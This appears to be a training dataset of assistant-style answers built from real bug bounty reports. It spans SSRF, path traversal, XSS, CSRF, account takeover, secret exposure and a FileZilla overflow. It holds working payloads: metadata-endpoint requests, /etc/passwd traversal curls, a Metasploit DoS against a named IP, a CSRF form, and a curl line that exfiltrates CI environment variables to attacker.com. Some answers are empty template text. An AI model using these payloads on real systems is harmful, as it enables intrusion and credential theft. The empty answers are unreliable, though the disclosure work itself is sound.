[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Twitter Source Label allow 'mongolian vowel separator' U+180E (app name)

[Assistant]
### Passos para Reproduzir
1. Go to https://developer.twitter.com/en/apps (you will need a twitter developer account for that)
  2. Click 'Create an app'
  3. Select an App name which is already used (for example Twitter Web App) and you will get an error, because the name is already taken
  4. Add a [mongolian vowel separator](http://www.unicode-symbol.com/u/180E.html) somewhere to the name (hopefully nobody else will have used this char in exactly the same place, but I never had a collision here. If you have a problem with that I can assist you furthermore in finding a free name, but that really shouldn't be a problem.)
  5. Create the app, authenticate an account with it and send a tweet from this app (If you have problems with this, there are plenty of resources about how to this, but for example this should work, also I didn't use it: https://gist.github.com/KonradIT/0bd7243ebe8d7b3e231603880acab7cf If you need assistance with this, let me know)
  6. Go to the twitter-account you made the tweet with and see that the source of the tweet looks exactly like it was made from the original app without the special character

### Impacto
:
As twitter considers app-names unique and prints an error if you use certain invisible characters, I think this is not intended behavior at all. You can use this to "spoof" an app-name, which might be not a problem if shown in the context of a tweet, but way more important in the oAuth context when you authorize a twitter-app to tweet (or do other stuff with your account) in your name.
{F699266}
This auth-screen shows 4 app-controlled pieces of information, which are the only way for a user to make sure this is the correct app he really wants to authorize, which are the app icon, the app name, the website url and the description. 3 of these 4 are easily controlled by the attacker, you can even set "twitter.com" as the website url. The only real possibility to detect a phishing attempt here is the app name. As this attack scenario allows you to use every prominent app name (like Twitter Web App) as the app name, the fake auth-screen can't really be distinguished from the real one.
{F699262}


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: registering with the same email address multiple times leads to account takeover

[Assistant]
### Resumo da Vulnerabilidade
the ability of the user to register many times using the same mail address can lead to account take over

### Passos para Reproduzir
1. attacker goes to https://www.reddit.com/register/?dest=https%3A%2F%2Fwww.reddit.com%2F and signup by email for ex account@gmail.com and username attacker1
  2. attacker goes to his email and verify it
  3. attacker logs out
  4. user goes to https://www.reddit.com/register/?dest=https%3A%2F%2Fwww.reddit.com%2F and signup by email for ex account@gmail.com and username user1
  5. attacker goes to his email and verify it
  6.  user logs out
  now since registering an account via the same email multiple times , the attacker can do the following
  7.  go to https://www.reddit.com/username and type your email then click submit
  8. all list of usernames registered on the attacker email will be sent to his mail
  9. attacker gets the username of the victim user <user1>
 10. attacker request password reset on the victim by entering his name <user1> and the attacker email <account@gmail.com> by going to https://www.reddit.com/password
 11. the password of the victim is sent to the attacker email
 12. the attacker takeovers the victim account by changing his password via reset link

### Impacto
acoount takeover , disclosing of private info and chats

if a user registers with an attacker email without knowing (as the application allows multiple registration email) then the attacker can takeover any account


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Server Side Request Forgery in Uppy npm module

[Assistant]
### Passos para Reproduzir
1. deploy the module in live server (ex: digital ocean server)
2. request 'Add More button' then click on` Link button`
3. Submit Link of DigitalOcean metadata api `http://169.254.169.254/metadata/v1/`
4. once done uploading , download the file you should see the content of the server metadata

```
id
hostname
user-data
vendor-data
public-keys
region
interfaces/
dns/
floating_ip/
tags/
features/
```

### Impacto
- Scan local or external network
- Read files from affected server
- Interact with internal systems
- Remote code execution


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: HTML injection in email content

[Assistant]
### Resumo da Vulnerabilidade
Hi,

I just found an issue when register account in https://app.bitwala.com/onboarding/preliminary. It allow hacker injection malicious text include html code in email content.

### Passos para Reproduzir
Make request register below with **payload html** in ==firstName== and ==lastName== parameter:

```
POST /graphql HTTP/1.1
Host: api.app.bitwala.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
Authorization: null
Origin: https://app.bitwala.com
Content-Length: 1188
Connection: close

{"operationName":"createIneligibleUser","variables":{"ineligibleUser":{"email":"dr.eamhope.aaa@gmail.com","firstName":"https://abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a href='abc.com'>XXXX</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc","lastName":"https://abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a href='abc.com'>XXXX</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc","addressCountry":"US","marketing":true,"locale":"en","token":"03AOLTBLRo4xtiJjci3-KF9cyHrmtCDjr-BORRjZT58NooOV6fkr4VLeRL2SqgVeXdX1NiJQCI6BHk97El0aKwJBuc9iUmtuxvZdvISyEZ4rYVgm3lEG8XxBBuhJzh0L_vUNBdbiOLGjoZyJgGf4R_Y6unX-dg7Wn4kjWDYkE25QIaGFNxS3YzDmp0e3GmN47UhZjpp14KIlfP9dpUqqleJytN2nJs068HfMjZM9d-7Etfv3YG0brkyVP_nMxXouKZARX9d1o7AXMGyykqDWVeB8e0iIuuFHpNkjEIqDVi6Af6Ch87fM5gXwDgr86PAzKyA-vrUZoahuhKhG71N-soh8gn_XsEiqCSGyS76ox20kr40diSu7Hh8Hzt_hKeZ_sMQd_yHqjpbBxkFO_jWSzkpcExmpBb4qHlFW_JrDNEi5gVXeGA3ZJ8CKk","identificationDocumentType":"DE:PASSPORT_ID_CARD"}},"query":"mutation createIneligibleUser($ineligibleUser: CreateIneligibleUserInput!) {\n  createIneligibleUser(ineligibleUser: $ineligibleUser)\n}\n"}
```

POC: {F702310}

### Impacto
HTML injection, Phishing attacks
This vulnerability can lead to the reformatting/editing of emails from an official email address, which can be used in targeted phishing attacks.
This could lead to users being tricked into giving logins away to malicious attackers.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [nested-property] Prototype Pollution

[Assistant]
### Passos para Reproduzir

### Impacto
This might causes Denial of Service or RCE in some cases


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Accessible Restricted directory on [bcm-bcaw.mtn.cm]

[Assistant]
### Resumo da Vulnerabilidade
* There are some exposed `directory/files` publicly accessible for anyone, when it should be restricted on the server

### Passos para Reproduzir
* Go to `http://bcm-bcaw.mtn.cm/wp-content/uploads/` and navigate between available folders

==**Poc:**== {F707036}

### Impacto
>
* Every uploaded data can be accessible through this directory listing vulnerability
* This might include several private/confidential data
>


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: XSS at https://www.glassdoor.com/Salary/* via filter.jobTitleExact

[Assistant]
### Passos para Reproduzir
1. Click on the prepared URL: https://www.glassdoor.com/Salary/Bain-and-Company--and-gt-and-lt-meta-http-equiv-refresh-content-0-url-bit-ly-and-gt-India-Salaries-E3752_DAO.htm?filter.jobTitleExact=%22%26gt%3B%26lt%3Bmeta+http-equiv%3D%22refresh%22+content+%3D%220%3B+url%3D%2F%2Fbit.ly%22%26gt%3B&selectedLocationString=N%2C115
  2. You will be redirected to https://bit.ly

### Impacto
This vulnerability could be used to facilitate phishing campaigns against Glassdoor users by redirecting to malicious sites. With additional research into bypassing the WAF, XSS payloads could steal sensitive cookies or steal credentials from users.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [sirloin] Web Server Directory Traversal via Crafted GET Request

[Assistant]
### Passos para Reproduzir
1 npm install sirloin
2 start the local server by typing `nodejs node_modules/sirloin/bin/sirloin.js`
3 `curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"`

it will list the content of /etc/passwd

# Wrap up

- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]

### Impacto
An attacker can leverage this vulnerability to request arbitrary files from the target host, which may include application source code or system files.
The package by default listen to 0.0.0.0 enabling external access.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: NO username used in authenthication to www.mopub.com leading to direct password submission which  has unlimited submission rate.

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)

  1. go to https://www.mopub.com/login/?next=/dsp-portfolio/
  2. we get a text box input only for password submission.
  3. this password submission has unlimited rate for submitting leading to bruteforce attacks.

POC screenshots attached.

### Impacto
:This page is labelled as site admin (look in poc)and thus direct entry of password only which has no rate for submission can lead to attacker getting logged in.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [hangersteak] Web Server Directory Traversal via Crafted GET Request

[Assistant]
### Passos para Reproduzir
1 npm install hangersteak
2 create index.js with content

```const http = require('http')
const hangersteak = require('hangersteak')
const server = http.createServer((req, res) => { hangersteak(req, res) })
server.listen(3006)```

3 start the aplication `nodejs index.js`
4 `curl "http://localhost:3006/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"`

it will list the content of /etc/passwd

# Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]

thanks!

### Impacto
An attacker can leverage this vulnerability to request arbitrary files from the target host, which may include application source code or system files.
The package by default listen to 0.0.0.0 enabling external access.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Modify Host Header which is sent to email

[Assistant]
### Resumo da Vulnerabilidade
Modify host header and include the fake website in password reset email.  Password reset mail is taking source domain from request header host, which can be modified using burp suite and the modified link is sent to the victims email

### Passos para Reproduzir
1. Go to  https://da.theendlessweb.com:2222/
  2. Start burp suite
  3. Enter username and click on Send me a Link
  4. Intercep the request and modify the URL to some other custom url
  5. Forward the modified request
  6. Password reset email will be sent.
  7. Check your email and you will see the new url (which was configured in step 4) in the email.

### Impacto
With this, attacker can make any victim to visit their custom website and can affect the victim in many ways


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Weak Password Policy via DirectAdmin Password Change Functionality

[Assistant]
### Resumo da Vulnerabilidade
*The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.*

### Passos para Reproduzir
1. Log In at https://da.theendlessweb.com:2222/
2. Go to https://da.theendlessweb.com:2222/user/password?redirect=yes fill your current password and choose a password like a 1234 or 0000

### Impacto
An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: CVE-2017-8779 exploit on open rpcbind port could lead to remote DoS

[Assistant]
### Resumo da Vulnerabilidade
An open rpcbind port on https://da.theendlessweb.com allows for possible exploitation by an existing Metasploit module. This could lead to large and unfreed memory allocations for XDR strings.

### Passos para Reproduzir
1. Open the Metasploit framework and type 'use auxiliary/dos/rpc/rpcbomb'
  2. set RHOSTS to 149.56.38.19 and RPORT to 111
  3. Type 'exploit'

### Impacto
An attacker could use this vulnerability to trigger large unfreed memory allocations on the system leading to a remote Denial of Service.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Server-Side Request Forgery (SSRF) in Ghost CMS

[Assistant]
### Passos para Reproduzir
Currently, we know how we can bypass validation in vulnerable route and now we can easily create exploit for this.

First of all, we should create an HTML page with  "link[type="application/json+oembed”]” malicious URL which we would like to discover:
 ```
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Security Testing</title>
    <link rel="alternate" type="application/json+oembed" href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>
```

And serve this page by the Python SimpleHTTPServer module:

```python -m SimpleHTTPServer 8000```

If your target is located in not your local network you can use ngrok library for creating a tunnel to your HTML page.

And send the following request with publisher Cookies
```
GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed HTTP/1.1
Host: YOUR_WEBSITE
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-Ghost-Version: 3.5
App-Pragma: no-cache
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US;
Cookie: ghost-admin-api-session=YOUR_SESSION
```
And we finally receive a response from the internal DigitalOcean service with my Droplet MetaData.
SSRF vulnerability is working! 🥳

F713098

### Impacto
Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a Ghost Blog instance's to internal / external network.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Route53 Subdomain Takeover on test-cncf-aws.canary.k8s.io

[Assistant]
### Resumo da Vulnerabilidade
I discovered that it was possible to takeover ` test-cncf-aws.canary.k8s.io` by assigning a zone to that name with one of the following nameservers in Route53:
```
test-cncf-aws.canary.k8s.io. 3600 IN    NS      ns-265.awsdns-33.com.
test-cncf-aws.canary.k8s.io. 3600 IN    NS      ns-687.awsdns-21.net.
test-cncf-aws.canary.k8s.io. 3600 IN    NS      ns-1458.awsdns-54.org.
test-cncf-aws.canary.k8s.io. 3600 IN    NS      ns-1825.awsdns-36.co.uk.
```
Once the zone was claimed, I was able to create DNS records under this host. Consider the following record:
```
poc.test-cncf-aws.canary.k8s.io
```

### Impacto
With this vulnerability, an attacker can host arbitrary content under your domain. This can allow an attacker to host brand-damaging materials, steal sensitive * scoped session cookies, and even escalate other vulnerabilities.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: No Rate Limit On forgot Password Leading To Massive Email Flooding

[Assistant]
### Resumo da Vulnerabilidade
No rate limit check on forgot password which can lead to mass mailing and spamming of users and possible employees
A little bit about Rate Limit:
A rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.
In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests or you can include a captcha to limit request.

### Passos para Reproduzir
1.Go to https://accounts.companyhub.com/auth/credentials/forgotpassword

intercept the request with burpsuite

POST /a/forgot-password HTTP/1.1
Host: accounts.companyhub.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.§5§
Accept-Encoding: gzip, deflate
Referer: https://accounts.companyhub.com/auth/credentials/forgotpassword
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Connection: close
Cookie: __cfduid=df9a10acb0ed6c3beb1b456f31191d0381581499643; _ga=GA1.2.1112499432.1581499640; _gid=GA1.2.2026149887.1581499640; _fbp=fb.1.1581499643165.621914857; _fs=2989895d-637f-4b63-bc3b-b3b5ceb33acf; _vwo_uuid_v2=D5757B6FC071256FD467820472A6D965A|f925869832a8407414983209a1daab5c; _hjid=bda621b0-e531-45fb-993f-9ac81e3a7ae8; intercom-id-twdxtxyf=abf22278-1e30-4465-bd01-12a10502a7c1; intercom-session-twdxtxyf=cnNEd3Q0eDVDdTZmc28wVzF4ZUhweWdUWlc5MlFNZnJZcW9hb1lVUUxDTEF6cTgvdThLT2pzQ2lOcmlXNVJ3YS0tOXhOWnF0aGFDUFc4OFVubUkvUFBEUT09--5b7b04d1c0de01fa7e67a15878dd03e06fa495c7; ch_terms_accepted=true; CompanySize=3; .ch_lang=en; _vis_opt_s=1%7C; utm_source=app.companyhub.com; utm_content=%2F; __resolution=1280%7C772; __remember_me=true; _gali=txtEmail; _gat=1

Email=apugodspower%40gmail.com

#Now you Send This Request To Intruder And Repeat It 100+ Times By Fixing Any Arbitrary Payload Which Does No Effect On Request So I Choose Accept-Language: en-US,en;q=0.$5$

4.Now You Will Get 200 ok Status Code & 100+(Depending on how many u wish to send) Email In Your INBOX
See It Is Resulting In Mass Mailing Or Email Bombing To Your Users Which Is Bad For Business Impact

### Impacto
If You Are Using Any Email Service Software API Or Some Tool Which Charges You For Email sent This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services, It Can cause huge mails In Sent Mail Of Users, Affected By This Vulnerability They Can Stop Applying for a career in your company


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: nextcloud-snap CircleCI project has vulnerable configuration which can lead to exposing secrets

[Assistant]
### Resumo da Vulnerabilidade
CircleCI allows projects to configure whether builds will run as a result of a pull request from a fork, and also whether these fork PRs have access to the secrets stored in the parent repo's CircleCI settings. When both settings are enabled, and the repo associated with the project allows PRs to come from forks from any user (which Github always allows), then a CircleCI project is vulnerable to leaking secrets. Please see the following for documentation on this:

https://circleci.com/docs/2.0/oss/#pass-secrets-to-builds-from-forked-pull-requests

Particularly:

> If you are comfortable sharing secrets with anyone who forks your project and opens a PR, you can enable the Pass secrets to builds from forked pull requests option

I believe the `nextcloud/nextcloud-snap` CircleCI project is configured in a vulnerable state, where both these settings are enabled. To determine this, I have developed an automated technique to query CircleCI projects for various non-sensitive settings including whether secrets are being passed to PRs from forks, although an attacker may be able to determine this by manually inspecting the build logs of fork PRs to the project for signs of credential use, or by simply doing a spray-n-pray, i.e., send in a malicious PR and hope for the best. You can confirm this by accessing the CircleCI dashboard, selecting the `nextcloud/nextcloud-snap` project, clicking on the Settings icon (right side, little cog icon), choosing "Advanced Settings", and scrolling down to "Build forked pull requests" (should be "On") and "Pass secrets to builds from forked pull requests" (should be "On").

Inspecting the `.circleci/config.yml` file for this repo suggests that there may not be any secret values being used, however if you go to a build job such as this one:

https://circleci.com/gh/nextcloud/nextcloud-snap/4537

Then expand the "Preparing Environment Variables" section, and scroll down to "Using environment variables from project settings and/or contexts", you can see that the CircleCI environment has access to `GH_AUTH_TOKEN`, which I'm assuming is a Github auth token. Assuming the worst, and this token grants a high level of access, its exposure using the technique outlined in this report could lead to malicious code being injected into Nextcloud repos, access to private repos etc.

FYI, utilizing CircleCI Contexts may have prevented this configuration from being an issue, however my analysis of the CircleCI config file in this report suggests that Contexts is not being used.

https://circleci.com/docs/2.0/contexts/

**Please note:** I did *not* submit any real pull requests to confirm this vulnerability, as I did not want to potentially tip off real attackers, as it would be hard to conduct a proof of concept in a public PR without also risking revealing the vulnerability. However my testing on CircleCI is fairly conclusive that these two configuration settings being enabled are vulnerable.

With that said, I'm willing to help prove this vulnerability in a more private environment, such as a private Nextcloud Github repository that is configured for CircleCI builds with the same vulnerable configuration outlined in this, which I have access to submit PRs to. The permission model on Github really has no bearing on this vulnerability from what I can tell, so I believe this would be a faithful representation of the vulnerability, without exposing the technique publicly. My Github username is `ndavison` if you wish to do this.

### Passos para Reproduzir
1. Fork the `nextcloud/nextcloud-snap` repo to a user (e.g. so it ends up as https://github.com/USER/nextcloud-snap).
  1. Create a new branch in the fork, and modify the `.circleci/config.yml` file so environment variables are exfiltrated, e.g. add `- run: curl https://attacker.com/?env=$(env | base64 | tr -d '\n')` to a CircleCI step that is executed during the CI build.
  1. Send the branch in as a PR to `nextcloud/nextcloud-snap`.
  1. Watch the web logs on `attacker.com` and wait for the environment variables stored in the CircleCI `nextcloud/nextcloud-snap` project to arrive via the query string.

### Impacto
By abusing the CircleCI configuration for the project, an attacker would be able to leak environment variables, deployment keys, and other credentials stored within the CircleCI project's settings. In this case it looks like the project might have access to a Github access token.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Github test clientID and clientSecret leaked

[Assistant]
### Resumo da Vulnerabilidade
A github clientID and clientSecret for an oauth app are being leaked on github

### Passos para Reproduzir
Check each branch and each commit from the past and keep looking for anything that looks like a token.
I did this automated using truffleHog (https://github.com/dxa4481/truffleHog)

`git clone git@github.com:kubernetes/test-infra.git`
`git checkout 70b274b10ed69dae95902cc3b5d1ead0ad4b6362`
`git grep ClientSecret`

and in `mungegithub/mungers/bulk-lgtm.go` you will find the clientId and Client Secret

### Impacto
While these credentials are not directly to be used to access they are bringing an attacker a lot closer.

This allows to build an app that uses github authentication.
As per the screenshot attached this will looks as if this was really approved and made by Brendan Burns.
I am not sure if this raises or lowers the risk this imposes as he is not directly the CNCF but indeed a pretty well known and trusted person inside the community.
If the user now clicks "authenticate" the attackers app follows the authentication flow further until https://developer.github.com/apps/building-oauth-apps/authorizing-oauth-apps/#2-users-are-redirected-back-to-your-site-by-github where it receives an access token.

This access token can now be used to impersonate any user that authenticated via our rogue app.

It should be assumed that the callbackURL is unknown but that is not true as github will give us a nice error message and we can rebuild it to `https://kubernetes.submit-queue.k8s.io/bulk-lgtm/bulkprs/callback?code=1e1db78bd7e2dfeb6b23` making the github flow complete.

even tho this subdomain doesn't exist anymore, we will still have the victims token.

This can easily be mitigated by revoking or rotating the clientSecret and ID


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [dy-server2] - stored Cross-Site Scripting

[Assistant]
### Passos para Reproduzir
1. Instal package from npm : ``npm i -g dy-server2``
2. Create folder or file with name : ``<img src=x onerror=alert(1)>``
3. Start server : ``dy-server2 -p 8888``
4. Open web and code execute

> Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

### Impacto
Stored XSS allows an attacker to embed a malicious script into a vulnerable page, which is then executed when a victim views the page.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: FileZilla 3.46.3 - 'Scale factor' Buffer Overflow

[Assistant]
### Resumo da Vulnerabilidade
FileZilla in has a problem in the "Scale Factor" field is vulnerable to a Buffer Over Flow attack or a denial attack. Adding random characters in an entry that must accept only Float input type values.

### Passos para Reproduzir
A python file of name generatepaste.py was generated for the generation of the chain that allows the overflow, which is the following:

buffer = "\x41" * 5000000
eip= "\x42" * 4
f = open ("generate.txt", "w")
f.write(buffer+eip)
f.close()

  1.- Run python code : python generatepaste.py
  2.- Open generate.txt and copy content to clipboard.
  3.- Open FileZilla.
  4.- Select the Edit menu and then Settings.
  5.- Find the Interface section and select Themes.
  6.- Paste Clipboard on "Scale Factor" three times.
  7.- Click in the icons.
  8.- BoF

### Impacto
An attacker can corrupt FileZilla applications and be a preamble to a much more severe attack.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Slowloris, body parsing

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)

  1. Start a HTTP server and set the server timeout to 2 seconds.
  2. Add a library that parses the request body.
  2. Open a connection to the server.
  3. Send a HTTP header.
  4. Send the body, 1 byte per second.

### Impacto
: [add why this issue matters]
See summary.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [express-cart] Wide CSRF in application

[Assistant]
### Passos para Reproduzir
> Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

- Demo create discount codes :   (View detail on clip )

1.  Create PoC with HTML (generated by burpsuite)

2.   Admin click

3.  `discount code` is created

- PoC :

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:1111/admin/settings/discount/create" method="POST">
      <input type="hidden" name="code" value="CSRF-CODE-DEMO" />
      <input type="hidden" name="type" value="percent" />
      <input type="hidden" name="value" value="30" />
      <input type="hidden" name="start" value="21/02/2020 14:32" />
      <input type="hidden" name="end" value="22/02/2020 14:32" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

# Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [Y/N]  N
- I opened an issue in the related repository: [Y/N]  N

> Hunter's comments and funny memes goes here

### Impacto
attacker can do admin privileges


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Malformed HTTP/2 SETTINGS frame leads to reachable assert

[Assistant]
### Passos para Reproduzir
1) Create an example HTTP/2 server. I used the example code from here https://nodejs.org/api/http2.html#http2_http2_createsecureserver_options_onrequesthandler

2) Create an example client to send the attached cases in a loop. In this case, I used an internal fuzz testing tool that I unfortunately cannot share but I can attach the test cases which I sent. We discovered that by sending a malformed SETTINGS frame over and over (roughly 25 in a row) the node process will SIGABRT.

3) Observe node process crash after series of requests are sent. I can consistently trigger this issue in 13.8.0 and 14.0.0. I will provide a stack trace, stack trace when run under valgrind, and the test case I used to reproduce the issue. If the core file is needed I can provide that as well.

I believe this is where the assertion is triggered.
https://github.com/nodejs/node/blob/f3682102dca1d24959e93de918fbb583f19ee688/src/node_http2.cc#L1521

### Impacto
: A reachable assert which leads to SIGBART of the entire node process. It's a denial of service issue.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

